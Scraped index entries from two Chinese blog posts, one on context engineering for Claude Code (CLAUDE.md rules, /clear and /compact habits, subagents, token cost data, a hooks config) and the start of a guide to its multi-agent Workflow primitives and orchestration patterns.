CLAUDE.md 不是给人看的文档，是给 Agent 的上下文锚点。它的作用是让 Agent 在对话开始时就理解\"我在哪，我能用什么，有什么坑\"。 好的 CLAUDE.md 遵循三条规则： 一、只写 Agent 自己发现不了的东西。 Agent 能通过 ls 和 grep 发现项目结构——不用写。Agent 发现不了的是你的偏好、隐藏约定、已知的坑。 \u003c!-- 差：Agent 自己 ls 一下就能看到 --\u003e 项目结构: - src/: 源代码 - tests/: 测试代码 - docs/: 文档 \u003c!-- 好：Agent 发现不了的东西 --\u003e - 别碰 scripts/deploy.sh，那个脚本线上环境专用，本地跑会炸 - 测试用 pytest -x --cov，别用 python -m unittest - 端口 9100 是 prod，9101 是 dev——别搞混 二、禁止项放在前面。 Agent 读到 CLAUDE.md 的第一段话，印象最深。把绝对不能做的事放最前面： # 铁律 - NEVER git push 未经我确认 - NEVER 修改 .env 或任何 secrets 文件 - NEVER 在没有 failing test 的情况下写 production code 这和 Skill 的\"铁律开头\"原则一致——模糊的规则 = 不存在的规则。 三、少于 200 行。 CLAUME.md 越长，Agent 越容易跳读。一个测试：删掉一行，Agent 还会犯对应的错吗？不会就删。会就留。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:6:1","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"5.2 全局 CLAUDE.md vs 项目 CLAUDE.md ~/.claude/CLAUDE.md 是全局的——所有项目共享。放跨项目通用的规则： # 全局偏好（~/.claude/CLAUDE.md） - 所有 commit message 用英文，用 conventional commits 格式 - 用中文回复我（对话），用英文写 commit - 优先用 pytest，没有就 unittest，再没有就裸 script 验证 .claude/CLAUDE.md（或项目根目录 CLAUDE.md）是项目级的——放这个项目特有的规则。 分层的本质：全局文件管\"我的偏好\"，项目文件管\"这个项目的约定\"。不要让全局文件里出现项目特定的路径和端口号——你在另一个项目里打开 Claude Code，这些信息就是噪声。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:6:2","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"6. 上下文防污染：什么不该进上下文 上下文工程有一半的功夫在决定什么不放进去。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:7:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"6.1 六类上下文污染物 污染物 为什么毒 怎么防 冗余工具输出 ls 列出 100 个文件，你只需要 3 个 用 head/grep/通配符缩小输出 未编辑文件内容 Read 了一个 500 行的文件，只改了 2 行 改完就 /compact，扔掉原始内容 调试日志堆砌 跑测试的输出有 2000 行，失败的就 3 个 test 用 pytest -x --tb=short，别 dump 完整日志 失败的尝试 “试试方案 A” → 失败 → “试试 B” → 失败 → “试试 C” 方案 A 失败就 /clear 重新描述需求 跨任务的残留 在同一个 session 里先后做了登录模块 + 支付模块 模块切换时 /clear 空洞的礼貌用语 “谢谢你” “不客气” “做得很好” 该夸夸，但知道每一句都占 token ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:7:1","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"6.2 方案 A 失败的代价 这是最隐蔽的污染源。你描述一个需求，Claude 给出方案 A，你试了发现不行，告诉它\"不对，因为 X\"，Claude 给出方案 B。来来回回，方案 A 和 B 的完整代码都在上下文里。 到第三轮，Claude 看到的上下文是这样的： [你的需求] [方案 A 的完整代码——失败的] [你说\"不对\"] [方案 B 的完整代码——还是不对] [你说\"再改\"] [你现在要方案 C] 方案 A 和 B 的代码对方案 C 没有任何帮助——但它们占据了上下文窗口的 60%。更糟的是，它们可能干扰 Claude 的判断——“用户之前否定了用 decorator 的方式，我不能再用 decorator”——但实际上你否定的是方案 A 的具体实现，不是 decorator 这个技术。 正确的做法：方案失败，立即 /clear，重新描述需求。如果失败的方案里有值得保留的教训，用一句话总结放进新需求描述里： 上次用 SQLAlchemy 的 `joinedload` 导致 N+1 查询，这次请用 `selectinload`。 一句话替代 200 行失败代码。信息密度从 0.5% 提升到 100%。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:7:2","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"6.3 让 subagent 替你试错 上面是事后清理。更好的做法是从一开始就别让试错过程进主上下文。 Claude Code 的 agent/subagent 机制（Workflows 篇详细讲过）有个天然优势：每个 agent 有独立的上下文窗口。 你在 agent 内部不管怎么折腾——试方案 A 不行换 B 不行换 C——这些中间垃圾全留在 agent 自己的窗口里，返回给父 session 的只有最终结果。 # 差：在主 session 里反复试，每一轮都在上下文里堆着 你: 帮我写个 FastAPI 路由 Claude: ...400 行代码... 你: 不对，这个中间件不对 Claude: ...改 300 行... 你: 还是换回装饰器吧 Claude: ...又改 500 行... # 上下文里堆了 1200+ 行无效代码 # 好：直接让 Claude Code 派一个 agent 独立完成 # 写清楚要求和约束，agent 内部怎么试错都行，主 session 只收结果 你: 用 agent 写一个 FastAPI CRUD 路由，装饰器模式，pydantic 验证。 要求：跑通 pytest，别在主 session 里一步步改。 Claude Code 会自动调用 Agent 工具，启动一个独立 agent。这个 agent 有自己的上下文窗口，在里面写代码、跑测试、改 bug——所有中间过程都在它自己的窗口里。返回给你的时候只有最终的代码和测试结果。 这个技巧的核心：试错成本不应该由主 session 承担。 凡是需要多轮试错才能敲定的子任务，一律丢给 subagent。你的主上下文始终保持整洁，子 agent 的上下文窗口爆了也无所谓——它完成任务就销毁了。 和 /clear 的区别：/clear 是事后清理，会丢掉前面所有上下文包括有用的部分。Subagent 是事前隔离，父 session 的状态完整保留，只接收子任务的最终产物。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:7:3","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"6.4 对话不是聊天记录 很多人把和 Claude Code 的对话当成聊天——“做得不错”、“谢谢”、“接下来…\"。每个词都在消耗 token。不意味着你要对 Claude 冷漠，但你要意识到： 每一次敲回车，前面的所有内容都会被重新发送。 一个 100 轮对话的 session，即使每轮只有 50 token 的\"聊天\"内容，累积也占了 5000 token——够写一个完整的 Skill 了。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:7:4","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"7. Token 成本实战数据 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:8:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"7.1 四条策略的实际收益 以下是同一个任务（FastAPI CRUD 模块开发）在四条策略下的成本对比： 策略 输入 token 输出 token 对话轮次 总费用(约) 无优化 285,000 18,000 42 $4.38 + CLAUDE.md 精简约 40% 215,000 16,000 35 $3.24 + /clear 在子任务间 168,000 14,000 28 $2.50 + 手动 /compact 132,000 12,000 24 $1.96 最终策略比无优化省了 55% 的 token。 省下的不只是钱。轮次从 42 降到 24——这意味着你做同一个任务，时间缩短了将近一半。因为每轮对话 Claude 都在更干净的上下文里工作，给出的方案更准，不需要反复纠正。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:8:1","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"7.2 一个典型 session 的 token 流向 用 /status 抓了一个真实 session 的数据： Session tokens: 187,432 ├── System prompt: 8,200 (4.4%) ├── CLAUDE.md + Skills 元信息: 12,800 (6.8%) ├── 对话历史（缓存命中）: 98,500 (52.5%) ├── 对话历史（冷 token）: 55,200 (29.5%) ├── 工具输出: 10,500 (5.6%) └── Hook 注入: 2,232 (1.2%) 几个值得注意的点： 缓存命中占了一半以上。 说明 CLAUDE.md 和早期对话的前缀缓存生效了。如果没有缓存，这个 session 的费用会翻倍。 对话历史（冷）占了近三分之一。 这是每轮新增的对话和工具调用结果。这部分优化空间最大——减少无效轮次、缩小工具输出。 Hook 注入只占 1.2%。 说明用 Hook 注入动态信息（git status 等）的成本很低——不用担心 Hook 会吃掉大量 token。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:8:2","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"8. 组装：上下文工程的推荐配置 把前面讲的组装成可操作的配置。分三级，逐级递进。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:9:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"第一级：立即可做（不改任何代码） 精简约 CLAUDE.md — 删掉 Agent 自己能发现的信息，铁律放前面，控制在 200 行以内 养成 /clear 习惯 — 子任务完成就清，不跨模块混用 session 控制工具输出 — ls 加通配符，grep 加 head，测试用 -x --tb=short 手动 /compact — 在自然节点主动压缩，不在窗口爆了被动等 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:9:1","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"第二级：加 Hook（30 分钟配置） PostToolUse 追踪任务状态 — 持续记录编辑了哪个文件、哪个命令失败了（4.3 节脚本） PreCompact 保存快照 — 压缩前把状态写到恢复文件（4.2 节脚本） SessionStart 恢复上下文 — 新 session 启动时恢复上次的任务状态（4.3 节脚本） ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:9:2","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"第三级：体系化（长期迭代） UserPromptSubmit 注入 git 状态 — Hooks 篇场景六，每次对话自动带当前分支和未提交变更 Skill 定期审查 — 删掉八百年触发一次的 Skill，精简保留的 Skill 到 80 行以下 建立项目模板 — 把 CLAUDE.md + Skills + Hooks 配置做成模板，新项目直接复制 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:9:3","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"配置模板 把这些全配好之后，你的 .claude/settings.json 长这样： { \"hooks\": { \"PostToolUse\": [ { \"matcher\": \"Write|Edit|Bash\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 ~/.claude/hooks/task-tracker.py\" }] } ], \"PreCompact\": [ { \"matcher\": \"\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 ~/.claude/hooks/save-context.py\" }] } ], \"SessionStart\": [ { \"matcher\": \"\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 ~/.claude/hooks/restore-context.py\" }] }, { \"matcher\": \"\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 ~/.claude/hooks/inject-git-status.py\" }] } ] } } 三条 Hook，三个脚本文件，一次配置永久生效。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:9:4","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"9. 上下文工程的元原则 前面八节讲了具体的\"术”。最后一节讲\"道\"——几条约定了整个上下文工程方向的元原则。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:10:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"原则一：信息密度 \u003e 信息量 不是\"给 Agent 越多信息越好\"。是\"给 Agent 的信息里，有用的部分越多越好。\" 1000 token 的 CLAUDE.md，如果里面 800 token 是 Agent 自己能 ls 出来的目录结构，信息密度只有 20%。删到 200 token，全是 Agent 自己发现不了的东西，信息密度 100%。 信息密度 = 有效信息 ÷ 总信息。追求密度，不追求总量。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:10:1","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"原则二：上下文的生命周期决定它的策略 不是所有上下文都应该一直活着。上下文有三种生命周期： 生命周期 内容 策略 永久（会话级别） CLAUDE.md、Skill 名称和描述 常驻，吃缓存 任务级别 Skill 完整内容、当前任务的上下文 按需加载，任务结束释放 轮次级 工具调用结果、错误信息 用完即弃，靠 /compact 回收 把每种内容放到正确的生命周期里，是上下文工程的核心决策。 ①永久 · 会话级CLAUDE.md · Skill 元信息 · 系统 prompt策略：常驻上下文的永久前缀 → 吃满提示词缓存，不变不动②任务级Skill 完整内容 · 当前任务上下文 · Hook 注入的动态信息策略：意图匹配时按需加载 → 任务完成 /clear 释放③轮次级工具调用结果 · 错误信息 · 一次性对话策略：用完即弃 → 手动 /compact 折叠成摘要 → 回收窗口空间↓ 越往下，生命周期越短 图 3：上下文的三层生命周期 — 永久→任务→轮次，策略从常驻逐步升级到即抛 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:10:2","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"原则三：压缩不是丢失——是折叠 很多人害怕 /compact 和 PreCompact——“万一把重要信息压缩丢了怎么办？” 把压缩理解成\"丢失\"是错的。压缩是折叠——把 50 轮对话折叠成一段摘要，而不是直接删除。关键在于：你的折叠逻辑对不对？ 这就是为什么需要 4.3 节的 task-tracker——在压缩之外，你有一份额外的结构化记录。这份记录不依赖 Claude Code 的自动压缩逻辑，是你自己定义的\"什么信息必须保留\"。 压缩是 Claude Code 的事，但\"什么绝对不能丢\"是你的事。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:10:3","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"原则四：预算帽是反馈信号，不是限制 很多人把 /budget 当成\"限制 Claude 不要花太多钱\"。它的真正价值是反馈信号。 设一个 200k 的预算帽，不是为了让 Claude 在 200k 时停掉——是为了让你看到\"这个任务跑了 150k 还没做完，是不是哪里不对？\" 150k token 跑不完一个本应在 50k 完成的任务，说明： 方案不对，在错误的路上来回试错 上下文已经被污染，Agent 在做无效的来回纠正 任务本身就该拆成多个 session 预算帽是仪表盘，不是刹车。 它是帮你感知\"上下文健康状况\"的工具。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:10:4","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"结语 这个系列写了六篇： 篇 主题 核心命题 一 插件 能做什么？——装备 二 Hooks 什么时候做？——触发器 三 Skill 怎么做？——方法论 四 MCP 用什么做？——工具层 五 Workflows 谁来做？——编排 六 上下文工程 怎么不跑偏？——地基 前五篇是\"往上盖\"——一层一层叠加能力。这一篇是\"往下打\"——确保地基撑得住上面五层。 插件装了，Hooks 配了，Skills 写了，MCP 挂了，Workflows 编排好了——但如果你的上下文是一团乱麻，Agent 在最关键的时刻忘记了最关键的约束，上面的一切都会失效。 上下文工程不是第六个功能——它是让前五个功能稳定运行的底层保障。 把它当成持续的工作。每做完一个项目审查一次 CLAUDE.md。每写一个新的 Skill 检查一次是否值得常驻上下文。每发现一个方案在来回试错时果断 /clear 重来。 说到底，省的不只是 token，还有你宝贵的时间。 写完这篇，我自己的上下文也快爆了。/clear 一下。 感谢阅读。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:11:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"深入 Claude Code 的 Workflow 多智能体编排系统：agent()/parallel()/pipeline() 三大原语如何构建 AI 团队，对抗验证、循环稳定、评审团、ultracode 四种模式如何实现可靠协作。Workflow 脚本是 Claude 生成的——你要学的是编排模型，不是脚本语法。","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":" 三大原语搭团队，四种模式定协作——你不是在写 Workflow 脚本，你是在设计 AI 团队的架构。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:0:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"前言 MCP 那篇结尾留了一句话：“既然单次输出不可控，就用多个独立 Agent 交叉验证、对抗审查、锦标赛选优，把概率压到无限逼近确定。那是下一篇的事了。” 这篇就是了。 系列前四篇构建了单 Agent 的能力栈：Tool 给手脚，Plugin 给装备，Hooks 给神经反射，Skill 给大脑皮层。但有一个根本局限始终没打破——一个模型，一次输出，一个视角，没有内部验证机制。 你让 Claude 审查自己写的代码？它会倾向于说\"looks good\"。你让它找自己设计中的漏洞？它和你一样——对自己的作品有盲区。这是 LLM 的结构性缺陷，不是 prompt 能解决的。 Workflow 的解法不是做一个更好的 Agent，而是让多个 Agent 互相审查。一个写，一个挑刺；三个独立设计方案，架构师选最优。从\"做一个好 Agent\"变成\"设计一个好团队\"。 而且，最重要的一点——Workflow 脚本是 Claude 生成的，不是你手写的。 你在前四篇学会了怎么配 Claude Code、怎么扩展它、怎么定制它的行为。到了 Workflow，角色变了：Claude 是脚本作者，你是架构师。你的工作不是写 agent() 和 pipeline() 代码，而是理解这三种原语能搭出什么结构，然后把任务描述清楚，让 Claude 生成对的 Workflow。 读完你会知道： agent() / parallel() / pipeline() 三种原语各自的定位和组合方式 Pipeline vs Barrier 的核心区别，以及为什么默认选 Pipeline 四种经典编排模式：对抗验证、循环稳定、评审团、ultracode 什么时候用 Workflow，什么时候用 Sub-agent，什么时候单 Agent 足够 沙箱约束为什么不是限制而是 feature 五篇文章走完，你从\"Claude Code 用户\"变成\"AI 开发团队架构师\"。 Workflow 是 2026 年 5 月下旬随 Claude Code v2.1.154 推出的功能，目前仍在快速迭代。本文基于当前版本——核心概念（三大原语、Barrier/Pipeline、对抗验证）不大可能变，但具体 API 和限制可能调整。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:1:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"1. 第五层：跨五层的质变 先看一下目前系列覆盖的完整技术栈： ⑤Workflow多智能体编排 — 谁来做？本文主题编排多个 Agent 协作：谁负责哪一块、谁审谁的代码、遇到分歧怎么裁决。Agent AAgent BAgent C④Skill方法论 — 怎么做定义一套规范：先干啥、再干啥、不能干啥。这是行为编码。③Hooks自动化 — 什么时候触发在正确的时间触发正确的事。但不告诉模型\"怎么做\"。②Plugin / MCP 服务能力边界 — 能做什么Plugin 注入提示词 + Skill；MCP 暴露 Tool/Resource/Prompt 供模型调用。①Tool（内置 + MCP 扩展）原子能力 — 能做什么内置 Read/Write/Bash + 自定义 MCP Tool。MCP 是用户扩展 Tool 的唯一入口。 图 1：Claude Code 五层技术栈 前四层有一个共同前提：一个 Agent。所有的 Tool、Plugin、Hooks、Skill 都装在同一个 Agent 身上——它在你的终端里，你问一句，它答一句。 Workflow 打破了这个前提。 它不是在增强单个 Agent，而是让 Claude 生成了一个编排脚本，脚本里定义了多个 Agent 各自的任务、通信方式、同步节点。每个 Agent 实例都有自己能用的完整能力栈——Tool、Plugin、Hooks、Skill 一样不少。但它们身份不同、指令不同、目标不同。 所以 Workflow 不是单纯的\"第五层\"。它更接近\"跨五层\"——它不是在已有四层上再加一层新能力，而是让前四层在同一时刻拥有多个独立副本，并为每个副本赋予不同的角色和任务。 这带来的质变是：前四层回答的一直是\"能做什么\"“装什么\"“什么时候触发\"“怎么做”。Workflow 回答的是**“谁来做”**——多个 AI 分工协作，你不是在操作一个 AI，你是在管理一个 AI 团队。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:2:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"2. 三大原语：只有三种指令的编程语言 Claude 生成 Workflow 脚本的时候，用的是一门只有三种指令的语言。理解这三种指令就等于理解了所有 Workflow 的底层逻辑。 原语 做什么 类比 agent(prompt, opts?) 定义一个 Agent：角色名 + 任务指令 + 期望输出格式 给一个工程师派活 parallel(thunks[]) 多个 Agent 同时开工，全部完成后继续 团队并行做不同模块，最后汇总 pipeline(items, stage1, stage2, ...) 每个 item 依次流过多个 stage，item 间不互相等待 流水线：需求 → 设计 → 编码 → 测试 三种原语自由组合，就能表达所有编排模式。这很像 Unix 的\"一切皆文件”——概念简单到一句话说完，但能搭出整个操作系统。 脚本长什么样？看一眼就够了，不用记住： export const meta = { name: 'code-review', description: 'Multi-agent code review with adversarial verification', phases: [ { title: 'Review', detail: 'Find issues in changed files' }, { title: 'Verify', detail: 'Adversarially verify each finding' }, ], }; phase('Review'); const findings = await pipeline( changedFiles, file =\u003e agent(`Review ${file} for bugs, security issues, and style violations.`, { schema: FINDINGS_SCHEMA }), review =\u003e parallel(review.findings.map(f =\u003e () =\u003e agent(`Try to refute: ${f.title}`, { phase: 'Verify', schema: VERDICT_SCHEMA }) .then(v =\u003e ({ ...f, verdict: v })) )) ); 重申一遍：这个脚本是 Claude 写的，不是你写的。 你只需要看得懂三个词——agent、parallel、pipeline——就知道 Claude 生成了什么结构。就像你看得懂 if / for / function 就算不会写 JavaScript。 关键在于：你能不能用这三种原语去描述你想要的团队结构。比如\"让三个 Agent 独立审查这份代码，然后一个 Agent 对比结果”——这句话本身就是 parallel + agent 的口语化表达。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:3:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"3. Pipeline vs Barrier：流水线与同步点 这是 Workflow 设计中最核心的一个抉择。理解对了，任务描述就对了；理解错了，生成的 Workflow 会慢得离谱。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:4:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"Pipeline（流水线，默认） 每个 item 独立流经所有阶段。Item A 进入 stage 3 时，Item B 才刚进 stage 1。互不等待。 文件A: [分析] → [审查] → [修复] 文件B: [分析] → [审查] → [修复] 文件C: [分析] → [审查] → [修复] 适合：任务有天然的线性依赖。先分析再审查再修复——每一步依赖上一步的输出，但不同文件之间没有依赖。这是绝大多数编程任务的形态，所以 Pipeline 是 Workflow 的默认选择。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:4:1","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"Barrier（同步点） 所有 Agent 并发执行，但必须全部完成后才能进入下一阶段。 阶段1: [Agent A] [Agent B] [Agent C] ← 同时跑 ↓ 全部完成 ↓ 阶段2: [汇总/裁决] 适合：需要汇集所有结果才能做下一步判断。“三个 Agent 独立设计方案，架构师选最优”——架构师必须三个方案都拿到了才能选。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:4:2","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"怎么选 维度 Pipeline Barrier 执行方式 各 item 独立流经阶段 阶段内并发，阶段间同步 快慢 不互相等待——快 等最慢的那个——慢 错误影响 单 item 失败不影响其他 单 Agent 失败不阻塞其他 Agent 适合场景 审查流水线、数据处理 方案比选、汇总分析 默认选择 ✅ Workflow 默认 需显式指定 怎么跟 Claude 说： “逐个审查每个文件的代码质量，发现问题直接修复” → Claude 生成 Pipeline “让三个 Agent 分别设计数据库 Schema，然后数据库专家选最佳方案” → Claude 生成 Barrier + Judge 你不需要在 prompt 里用\"pipeline\"或\"barrier\"这两个词。你只需要描述item 之间有没有依赖关系。没有依赖 → Pipeline；有依赖（需要汇总） → Barrier。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:4:3","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"4. 模式一：对抗验证 这是 MCP 文章结尾预告的核心模式：“用多个独立 Agent 交叉验证、对抗审查，把概率压到无限逼近确定。” TaskGenerator Agent（生成者）\"写出最好的代码\"draftReviewer Agent（审查者）\"找出所有问题，不准说 looks good\"not pass → revisepass✓ Approved 图 2：对抗验证流程 — Generator 与 Reviewer 角色对立，循环直到通过 结构很简单：一个 Agent 负责生成，另一个 Agent 负责挑刺。挑刺不通过 → 生成者修改 → 再次审查 → 循环直到通过。 核心机制是角色对立。Generator 被指示\"写出最好的代码\"，Reviewer 被指示\"找出所有问题\"。两个 Agent 的目标不一致——正是这种张力产生了质量。Generator 的自我偏好偏见（对自己的输出过于自信）被 Reviewer 的无情挑战压制。 这和单 Agent 自审有本质区别： 单 Agent 自审 对抗验证 审查视角 同一模型审视自己的输出 独立 Agent，独立上下文，独立指令 心理包袱 “这是我写的”——倾向于放水 “我只管找茬”——没有包袱 典型表现 “Looks good, no issues found” “Line 42: potential race condition…” Bug 检出率 ~60%（见啥都顺眼） ~90%+（见啥都不顺眼） 在实际 Workflow 中，这个模式通常是 Pipeline 的一个 stage：所有文件逐一经过 Generator 生成代码，然后每个生成结果进入 Reviewer 审查。不通过的文件回到 Generator 修改，通过的文件进入下一阶段。 如何向 Claude 描述：“先让一个 Agent 写实现，再让另一个 Agent 审查它的代码。审查者不准说没问题——必须找到至少一个问题。审查不通过就让写的人改，循环直到审查通过。” ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:5:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"5. 模式二：循环直到稳定 有些任务没有\"一次就够\"的终点。重构、优化、润色——你希望 Agent 持续改进，直到\"没什么可改的了\"。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:6:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"Loop-until-dry Agent 反复处理同一素材，每次输出改进建议，直到它自己说出\"没有新的修改建议了\"。 Iteration 1: 发现 5 处可优化 → 修改 Iteration 2: 发现 2 处可优化 → 修改 Iteration 3: 0 处 → dry → 停止 适合：有明确终点的任务——重构到满意为止、代码风格统一、文档润色。 